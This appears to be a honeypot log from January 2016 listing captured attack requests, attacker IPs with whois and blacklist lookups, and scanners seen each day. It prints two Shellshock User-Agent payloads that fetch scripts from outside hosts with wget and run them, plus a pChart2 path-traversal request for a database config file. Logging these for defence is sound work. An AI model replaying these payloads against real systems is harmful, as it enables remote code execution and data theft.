83.54.165.57 - Shellshock wget via http://192.192.78.216:9090

BEGIN OF HTTP DATA:
2016-01-13 08:48:44
Source IP: 83.54.165.57
GET /cgi-bin/authLogin.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: () { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh  && /bin/sh /tmp/S0.sh 0<&1 2>&1

83.54.165[.]57 Whois Data (TeamCymru) AS : 3352 IP : 83.54.165.57 BGP Prefix : 83.54.0.0/16 CC : ES Registry : ripencc Allocated : 2004-10-07 AS Name: TELEFONICA_DE_ESPANA TELEFONICA DE ESPANA,ES http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/83.54.165.57 192.192.78[.]216 Whois Data (TeamCymru) AS : 1659 IP : 192.192.78.216 BGP Prefix : 192.192.0.0/16 CC : TW Registry : apnic Allocated : AS Name: ERX-TANET-ASN1 Taiwan Academic Network (TANet) Information Center,TW http://www.team-cymru.org/IP-ASN-mapping.html#whois

 

Scanner seen on January 11,12 2016

• 208.100.26.231 - Nmap Scripting Engine
• 141.212.122.81 -  zgrab/0.x
• 141.212.122.145 -  zgrab/0.x

208.100.26[.]231 Whois Data (TeamCymru) AS : 32748 IP : 208.100.26.231 BGP Prefix : 208.100.0.0/18 CC : US Registry : arin Allocated : 2006-02-17 AS Name: STEADFAST - Steadfast Networks,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/208.100.26.231 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt Source: Local Feed Database Title: 208.100.26.231 - fire on port 8080 Reference: http://sendmespamids.blogspot.com/2015/09/20810026231-fire-on-port-8080.html In db since: 2015-09-24 08:17:16.658000 Source: Local Feed Database Title: 208.100.26.231 - mongodb scanning ip Reference: http://sendmespamids.blogspot.com/2015/10/20810026231-mongodb-scanning-ip.html In db since: 2015-10-11 10:10:48.742000 141.212.122[.]81 Whois Data (TeamCymru) AS : 36375 IP : 141.212.122.81 BGP Prefix : 141.212.0.0/16 CC : US Registry : arin Allocated : AS Name: UMICH-AS-5 - University of Michigan,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/141.212.122.81 141.212.122[.]145 Whois Data (TeamCymru) AS : 36375 IP : 141.212.122.145 BGP Prefix : 141.212.0.0/16 CC : US Registry : arin Allocated : AS Name: UMICH-AS-5 - University of Michigan,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/141.212.122.145 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt

85.73.42.84 - wget via http://lliillii.altervista.org/io.php

BEGIN OF HTTP DATA:
2016-01-08 10:07:22
Source IP: 85.73.42.84
GET /cgi-bin/authLogin.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: () { :; }; /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://lliillii.altervista.org/io.php 0<&1 2>&1

85.73.42[.]84

Whois Data (TeamCymru)
• AS : 6799
• IP : 85.73.42.84
• BGP Prefix : 85.73.0.0/16
• CC : GR
• Registry : ripencc
• Allocated : 2006-05-17
• AS Name: OTENET-GR Ote SA (Hellenic Telecommunications Organisation),GR
• http://www.team-cymru.org/IP-ASN-mapping.html#whois

Scanner seen on January 9, 2016

• 93.174.93.203 - masscan/1.0
• 141.212.122.145 - zgrab/0.x
• 69.30.217.226 - muieblackcat

93.174.93[.]203 Whois Data (TeamCymru) AS : 29073 IP : 93.174.93.203 BGP Prefix : 93.174.88.0/21 CC : NL Registry : ripencc Allocated : 2008-06-20 AS Name: ECATEL-AS Quasi Networks LTD.,NL http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 10 Reference: https://exchange.xforce.ibmcloud.com/ip/93.174.93.203 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/93.174.93.203 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt 141.212.122[.]145 Whois Data (TeamCymru) AS : 36375 IP : 141.212.122.145 BGP Prefix : 141.212.0.0/16 CC : US Registry : arin Allocated : AS Name: UMICH-AS-5 - University of Michigan,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 10 Reference: https://exchange.xforce.ibmcloud.com/ip/141.212.122.145 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/141.212.122.145 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt 69.30.217[.]226 Whois Data (TeamCymru) AS : 32097 IP : 69.30.217.226 BGP Prefix : 69.30.192.0/18 CC : US Registry : arin Allocated : 2004-03-16 AS Name: WII-KC - WholeSale Internet, Inc.,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/69.30.217.226

84.246.228.80 - access cnf/db.php

BEGIN OF HTTP DATA:
2016-01-07 21:11:32
Source IP: 84.246.228.80
GET /etc/lib/pChart2/examples/index.php?Action=View&Script=../../../../cnf/db.php HTTP/1.1
User-Agent: HTTP_Request2/2.2.1 (http://pear.php.net/package/http_request2) PHP/5.3.3
Host: 109.234.106.8
Accept-Encoding: gzip, deflate

84.246.228[.]80

Whois Data (TeamCymru)
• AS : 34274
• IP : 84.246.228.80
• BGP Prefix : 84.246.224.0/21
• CC : FR
• Registry : ripencc
• Allocated : 2004-10-25
• AS Name: ELBMULTIMEDIA ELB MULTIMEDIA,FR
• http://www.team-cymru.org/IP-ASN-mapping.html#whois

Scanner seen on January 8, 2016

• 185.130.5.207 - muieblackcat
• 141.212.122.64 - zgrab/0.x
• 5.28.172.193 - masscan/1.0

185.130.5[.]207 Whois Data (TeamCymru) AS : 203569 IP : 185.130.5.207 BGP Prefix : 185.130.5.0/24 CC : LT Registry : ripencc Allocated : 2015-12-04 AS Name: SILK-AS Sindicate Group Ltd,LT http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 10 Reference: https://exchange.xforce.ibmcloud.com/ip/185.130.5.207 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/185.130.5.207 Static Source: panwdbl.appspot.com Comment: Listed in open blacklist Reference: https://panwdbl.appspot.com/lists/openbl.txt Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt 141.212.122[.]64 Whois Data (TeamCymru) AS : 36375 IP : 141.212.122.64 BGP Prefix : 141.212.0.0/16 CC : US Registry : arin Allocated : AS Name: UMICH-AS-5 - University of Michigan,US http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 8.6 Reference: https://exchange.xforce.ibmcloud.com/ip/141.212.122.64 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/141.212.122.64 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt 5.28.172[.]193 Whois Data (TeamCymru) AS : 12849 IP : 5.28.172.193 BGP Prefix : 5.28.160.0/20 CC : IL Registry : ripencc Allocated : 2012-05-08 AS Name: HOTNET-IL Hot-Net internet services Ltd.,IL http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/5.28.172.193

Scanner seen on January, 7 2016

• 149.78.19.136 - masscan/1.0
• 213.57.67.192 - masscan/1.0
• 94.102.48.195 - masscan/1.0
• 195.169.125.87 - zgrab/0.x
• 85.25.217.27 -  muieblackcat

149.78.19[.]136 Whois Data (TeamCymru) AS : 12849 IP : 149.78.19.136 BGP Prefix : 149.78.0.0/19 CC : US Registry : arin Allocated : AS Name: HOTNET-IL Hot-Net internet services Ltd.,IL http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 10 Reference: https://exchange.xforce.ibmcloud.com/ip/149.78.19.136 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/149.78.19.136 213.57.67[.]192 Whois Data (TeamCymru) AS : 12849 IP : 213.57.67.192 BGP Prefix : 213.57.67.0/24 CC : IL Registry : ripencc Allocated : AS Name: HOTNET-IL Hot-Net internet services Ltd.,IL http://www.team-cymru.org/IP-ASN-mapping.html#whois 94.102.48[.]195 Whois Data (TeamCymru) AS : 29073 IP : 94.102.48.195 BGP Prefix : 94.102.48.0/20 CC : NL Registry : ripencc Allocated : 2008-08-29 AS Name: ECATEL-AS Quasi Networks LTD.,NL http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 10 Reference: https://exchange.xforce.ibmcloud.com/ip/94.102.48.195 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/94.102.48.195 Static Source: http://sendmespamids.blogspot.nl/ Blacklist Comment: Listed on Honeypot blacklist Reference: https://raw.githubusercontent.com/johestephan/smsids-blacklist/master/blacklist.txt 195.169.125[.]87 Whois Data (TeamCymru) AS : 1103 IP : 195.169.125.87 BGP Prefix : 195.169.125.0/24 CC : NL Registry : ripencc Allocated : AS Name: SURFNET-NL SURFnet, The Netherlands,NL http://www.team-cymru.org/IP-ASN-mapping.html#whois Source: Local Feed Database Title: 50.118.172.34 / 195.169.125.87 - http javascript/html submission Reference: http://sendmespamids.blogspot.com/2015/09/5011817234-http-javascripthtml.html In db since: 2015-09-24 08:17:16.658000 85.25.217[.]27 Whois Data (TeamCymru) AS : 8972 IP : 85.25.217.27 BGP Prefix : 85.25.217.0/24 CC : DE Registry : ripencc Allocated : 2005-12-05 AS Name: PLUSSERVER-AS PlusServer AG,DE http://www.team-cymru.org/IP-ASN-mapping.html#whois Dynamic Source: IBM X-Force Exchange Score: 7.1 Reference: https://exchange.xforce.ibmcloud.com/ip/85.25.217.27 Dynamic Source: SANS Internet Storm Cast comment:IP is listed on SANS ISC Reference: https://isc.sans.edu/api/ip/85.25.217.27